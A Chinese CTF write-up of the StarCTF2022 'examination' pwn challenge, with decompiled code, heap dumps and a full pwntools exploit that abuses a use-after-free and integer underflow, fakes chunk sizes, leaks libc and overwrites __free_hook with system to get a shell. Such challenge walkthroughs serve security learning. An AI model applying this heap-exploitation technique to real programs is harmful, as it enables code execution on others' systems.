0%

StarCTF2022

examination

1
2
3
4
5
6
7
8
9
➜  桌面 ./examination 
_____ _ _ _
| ___| (_) | | (_)
| |__ __ __ __ _ _ __ ___ _ _ __ __ _ | |_ _ ___ _ __
| __| \ \/ / / _` | | '_ ` _ \ | | | '_ \ / _` | | __| | | / _ \ | '_ \
| |___ > < | (_| | | | | | | | | | | | | | | (_| | | |_ | | | (_) | | | | |
\____/ /_/\_\ \__,_| |_| |_| |_| |_| |_| |_| \__,_| \__| |_| \___/ |_| |_|
role: <0.teacher/1.student>: 11
no student yet
1
2
3
4
5
6
7
8
9
examination: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=316ff7d18256c35fdf207a21d1e492fa8b73e294, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/examination'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/lib/x86_64-linux-gnu/'

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release versi
  • calloc 同 malloc 类似只是会将申请到的堆块内容清 0
  • calloc 不会从 tcachebin 里取空闲的 chunk ,而是从 fastbin 里取,取完后,和 malloc 一样,如果 fastbin 里还有剩余的 chunk ,则全部放到对应的 tcache bin 里取,采用头插法

chunk 结构:

1
student_list => student => chunk

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 free_t()
{
int id; // [rsp+8h] [rbp-18h]
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("only 3 chances to call parents!");
if ( call_chances )
{
--call_chances;
if ( student_num )
{
puts("which student id to choose?");
read(0, buf, 5uLL);
id = atoi(buf);
if ( id >= 0 && id <= 9 && student_list[id] )
{
printf("bad luck for student %d! Say goodbye to him/her!", (unsigned int)id);
if ( (*student_list[id])->chunk.comment )
free((void *)(*student_list[id])->chunk.comment);
free(*student_list[id]);
free(student_list[id]);
student_list[id] = 0LL; // UAF
--student_num;
}
else
{
puts("please watch carefully :)");
}
}
else
{
puts("add some students first!");
}
}
else
{
puts("no you can't");
}
return __readfsqword(0x28u) ^ v3;
}
  • “释放模块”只置空了“student_list[id]”
  • student,chunk,comment 造成 UAF

入侵思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall check_s(int a1)
{
_BYTE *addr; // rax
char nptr[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( *((_DWORD *)student_list[a1] + 7) == 1 )
{
puts("already gained the reward!");
}
else
{
if ( (*student_list[a1])->chunk.random_score > 0x59u )// random_score至少90
{
printf("Good Job! Here is your reward! %p\n", student_list[a1]);// 可以泄露地址
printf("add 1 to wherever you want! addr: ");
read_s(0, nptr, 16);
addr = (_BYTE *)atol(nptr);
++*addr; // 输入一个地址,使其++
*((_DWORD *)student_list[a1] + 7) = 1;
}
if ( (*student_list[a1])->chunk.comment )
{
puts("here is the review:");
write(1, (const void *)(*student_list[a1])->chunk.comment, SLODWORD((*student_list[a1])->chunk.size_comment));
}
else
{
puts("no reviewing yet!");
}
}
return __readfsqword(0x28u) ^ v4;
}

check_s 这个函数大有文章,即可以泄露地址,又有一次“任意++”的机会

想要使用“reward”,必须满足以下条件:

1
if ( (*student_list[a1])->chunk.random_score > 0x59u )// random_score至少90

这个“random_score”是在以下函数中定义的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 give_t()
{
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int random_score; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("marking testing papers.....");
for ( i = 0; i < student_num; ++i )
{
if ( read(random, buf, 8uLL) != 8 ) // 获取一个8字节的随机数
{
puts("read_error");
exit(-1);
}
buf[0] &= ~0x80u;
random_score = buf[0] % (10 * (*student_list[i])->chunk.question_num);
printf("score for the %dth student is %d\n", i, random_score);
if ( *((_DWORD *)student_list[i] + 6) == 1 )// student中标记pray_key
{
puts("the student is lazy! b@d!");
random_score -= 10;
} // student_list => student => chunk
(*student_list[i])->chunk.random_score = random_score;
}
puts("finish");
return __readfsqword(0x28u) ^ v4;
}

函数 give_t 会根据一个随机数“buf”和“question_num”对“random_score”进行赋值,而“question_num”在以下函数中实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 add_t()
{
int question_num[2]; // [rsp+8h] [rbp-28h] BYREF
Student **student; // [rsp+10h] [rbp-20h]
Chunk *chunk; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
question_num[1] = 0;
question_num[0] = 0;
if ( (unsigned int)student_num <= 6 ) // 最多添加7个student
{
student = (Student **)calloc(1uLL, 0x20uLL);
chunk = (Chunk *)calloc(1uLL, 0x18uLL); // student_list => student => chunk
*student = (Student *)chunk;
student_list[student_num++] = student;
printf("enter the number of questions: ");
__isoc99_scanf("%d", question_num);
if ( question_num[0] <= 9 && question_num[0] > 0 )
{
(*student)->chunk.question_num = question_num[0];
puts("finish");
}
else
{
puts("wrong input!");
}
}
else
{
puts("No more students!");
}
return __readfsqword(0x28u) ^ v4;
}

在函数 add_t 中:“question_num”最高被赋值为“9”,最终执行结果就是:

1
random_score = random % (10 * 9);

也就是说:“question_num”最大为“89”,根本不可能为“90”

所以我们的第一步就是修改“question_num”:

1
2
3
4
5
6
7
unsigned int random_score; // [rsp+Ch] [rbp-14h]

if ( LODWORD(student_list[i]->is_pray) == 1 )// student中标记pray_key
{
puts("the student is lazy! b@d!");
random_score -= 10;
}

这里的“random_score”是“unsigned int”类型的,所以可以进行负数溢出,这样就可以进行泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* <-------- 样例 --------> */
role(0)
add_st(1)
change_role(1)
pray()
change_role(0)
give()
change_role(1)
check()

p.recvuntil('Good Job! Here is your reward! ')
leak_addr = eval(p.recvuntil('\n')[:-1])
heap_base = leak_addr-16-0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

另外还有一次“任意++”的机会可以使用,但我们这里只泄露出了 heap_base ,所以只能修改堆上的数据,可以用它来构造“off-by-one”

  • 因为这些 chunk 都分布在 tcache 上,所以不考虑 unlink 攻击
  • calloc 不会从 tcachebin 里取空闲的 chunk,tcache attack失效
  • calloc 会将申请到的堆块内容清 0,overlapping 可能也够呛了

我当时的思路就是:直接覆盖“chunk->size”的低位,把它释放入unsortedbin,后续 leak libc_base(一次“任意++”可能不太行,需要两次)

这里最大的问题就是:如何利用堆风水,使修改了“size”的chunk在释放时不会报错,当时做题的时候就是卡在这里了,想了多种组合方式都没有成功……

比赛结束后,看了下 free 的源码,才发现是 unlink 的检查没有通过:(经此一役,打算做个free的源码分析)

1
2
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

先看看官方wp的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
role(0)
add_st(1)
comment(0,0x48,'aaaa')
add_st(1)
comment(1,0x48,'bbbb')

change_role(1)
change_id(0)
pray()
change_id(1)
pray()
change_role(0)
give() # 现在拥有了两次check的机会

add_st(2)
comment(2,0x38,'222')
add_st(3)
add_st(4)
comment(4,0x3ff,'\x00'*0x248+p64(0x21)+p64(0)*3+p64(0x21)) # 这里的操作就是关键
add_st(5)
add_st(6)

change_role(1)
change_id(0)
check()

p.recvuntil('Good Job! Here is your reward! ')
leak_addr = eval(p.recvuntil('\n')[:-1])
heap_base = leak_addr-16-0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

target_addr=heap_base+0x2e0 # 第1次"++"
success('target_addr >> '+hex(target_addr))
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_id(1)
check()
target_addr=heap_base+0x2e0 # 第2次"++"
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_role(0)
comment_have(0,'A'*0x48+p16(0x421)) # 攻击comment0,覆盖student1->size
free(1)

修改前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b42e0 // comment0
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4330 // student1(target)
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4360 // chunk1
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4380 // comment1
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b43d0 // student2
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4400 // chunk2
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4420 // comment2
Size: 0x41

......

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4500 // comment4
Size: 0x411

修改后,释放前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be2e0 // comment0
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be330 // student1(target)
Size: 0x421

Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be750 // fake_chunk1
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be770 // fake_chunk2
Size: 0x21

Allocated chunk
Addr: 0x555c7a4be790
Size: 0x00

释放后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Allocated chunk | PREV_INUSE
Addr: 0x562a85b602e0 // comment0
Size: 0x51

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x562a85b60330 // student1(target)
Size: 0x421
fd: 0x7f3d7b952be0
bk: 0x7f3d7b952be0

Allocated chunk
Addr: 0x562a85b60750 // fake_chunk1
Size: 0x20

Allocated chunk | PREV_INUSE
Addr: 0x562a85b60770 // fake_chunk2
Size: 0x21

Allocated chunk
Addr: 0x562a85b60790
Size: 0x00

发现“student1”已经成功进入了 unsortedbin,并且后续区域都可以被该 unsorted chunk 控制,借此我们可以“还原”被破坏的内容,并且把“main_arena+xx”覆盖到我们想要的位置

比如说:覆盖到“comment2”后,直接利用“check”打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = '\x00'*0x90
payload += p64(0)+p64(0x31)+p64(heap_base+0x410)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(2)+p64(heap_base+0x430)+p64(0x10)
comment(6,0xe8,payload)

change_role(1)
change_id(2)
check()
p.recvuntil('here is the review:\n')
leak_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
libc_base=leak_addr-2018272
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

接下来就可以覆盖“student3->comment3”为“free_hook-8”,最后将其修改为“system”

1
2
3
4
5
6
7
change_role(0)
payload = '\x00'*0x30
payload += p64(0)+p64(0x31)+p64(heap_base+0x4a0)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(0)+p64(free_hook-8)+p64(0x10)
comment(5,len(payload),payload)
comment_have(3,'/bin/sh;'+p64(system_libc))
free(3)
1
2
3
4
5
6
7
8
9
10
11
12
13
Allocated chunk | PREV_INUSE
Addr: 0x55af7721a330 // student1
Size: 0xf1

Allocated chunk | PREV_INUSE
Addr: 0x55af7721a420 // comment2,student3
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55af7721a4b0
Size: 0x2a1
fd: 0x7f70a91b4be0
bk: 0x7f70a91b4be0

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *

p=process('./examination')
elf=ELF('./examination')
libc=ELF('./libc-2.31.so')

def role(index):
p.recvuntil('role: <0.teacher/1.student>:')
p.sendline(str(index))

def change_role(index):
p.sendlineafter('choice>> ',str(5))
role(index)

def add_st(num):
p.sendlineafter('choice>> ',str(1))
p.recvuntil('enter the number of questions:')
p.sendline(str(num))

def give():
p.sendlineafter('choice>> ',str(2))

def comment(id,size,comment):
p.sendlineafter('choice>> ',str(3))
p.sendlineafter('which one? > ',str(id))
p.sendlineafter('please input the size of comment: ',str(size))
p.sendafter('enter your comment:\n',comment)

def comment_have(id,comment):
p.sendlineafter('choice>> ',str(3))
p.sendlineafter('which one? > ',str(id))
p.sendafter('enter your comment:\n',comment)

def free(id):
p.sendlineafter('choice>> ',str(4))
p.sendlineafter('to choose?\n',str(id))

def backdoor(data):
p.sendlineafter('choice>> ',str(6))
p.sendline(data)

def check():
p.sendlineafter('choice>> ',str(2))

def pray():
p.sendlineafter('choice>> ',str(3))

def mode(score):
p.sendlineafter('choice>> ',str(4))
p.sendlineafter('enter your pray score: 0 to 100\n',str(score))

def change_id(id):
p.sendlineafter('choice>> ',str(6))
p.sendlineafter('input your id: ',str(id))

#gdb.attach(p)

role(0)
add_st(1)
comment(0,0x48,'aaaa')
add_st(1)
comment(1,0x48,'bbbb')

change_role(1)
change_id(0)
pray()
change_id(1)
pray()
change_role(0)
give()

add_st(2)
comment(2,0x38,'222')
add_st(3)
add_st(4)
comment(4,0x3ff,'\x00'*0x248+p64(0x21)+p64(0)*3+p64(0x21))
add_st(5)
add_st(6)

change_role(1)
change_id(0)
check()

p.recvuntil('Good Job! Here is your reward! ')
leak_addr = eval(p.recvuntil('\n')[:-1])
heap_base = leak_addr-16-0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

target_addr=heap_base+0x2e0
success('target_addr >> '+hex(target_addr))
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_id(1)
check()
target_addr=heap_base+0x2e0
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_role(0)
comment_have(0,'A'*0x48+p16(0x421))
free(1)

payload = '\x00'*0x90
payload += p64(0)+p64(0x31)+p64(heap_base+0x410)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(2)+p64(heap_base+0x430)+p64(0x10)
comment(6,0xe8,payload)

change_role(1)
change_id(2)
check()
p.recvuntil('here is the review:\n')
leak_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
libc_base=leak_addr-2018272
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
system_libc=libc_base+libc.sym['system']
success('free_hook >> '+hex(free_hook))
success('system_libc >> '+hex(system_libc))

change_role(0)
payload = '\x00'*0x30
payload += p64(0)+p64(0x31)+p64(heap_base+0x4a0)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(0)+p64(free_hook-8)+p64(0x10)
comment(5,len(payload),payload)

comment_have(3,'/bin/sh;'+p64(system_libc))
free(3)

p.interactive()

小结

复现完这个题目后,感觉打比赛时的自己挺蠢的

  • 上午因为把结构体改错了,导致负数溢出这个漏洞迟迟出不了
  • 下午我误以为“任意++”这个条件只能执行一次,导致做了好几个小时的无用功
  • 后来想到可以多次“任意++”,然后改“chunk->size”将其释放入 unsortedbin
  • 最后因为不熟悉 free 的检查机制,导致报错,晚饭回来以后,队友都打完了

感觉这个题的技术点我都懂,再给我点时间翻翻 free 的源码,说不定就出了,归根到底还是缺乏比赛的历练

PS:free 会检查被释放的 chunk 是否可以进行合并,其中对 nextchunk 是否 free 的检查需要用到 nextchunk->nextchunk 的P位,所以务必将其伪造为“1”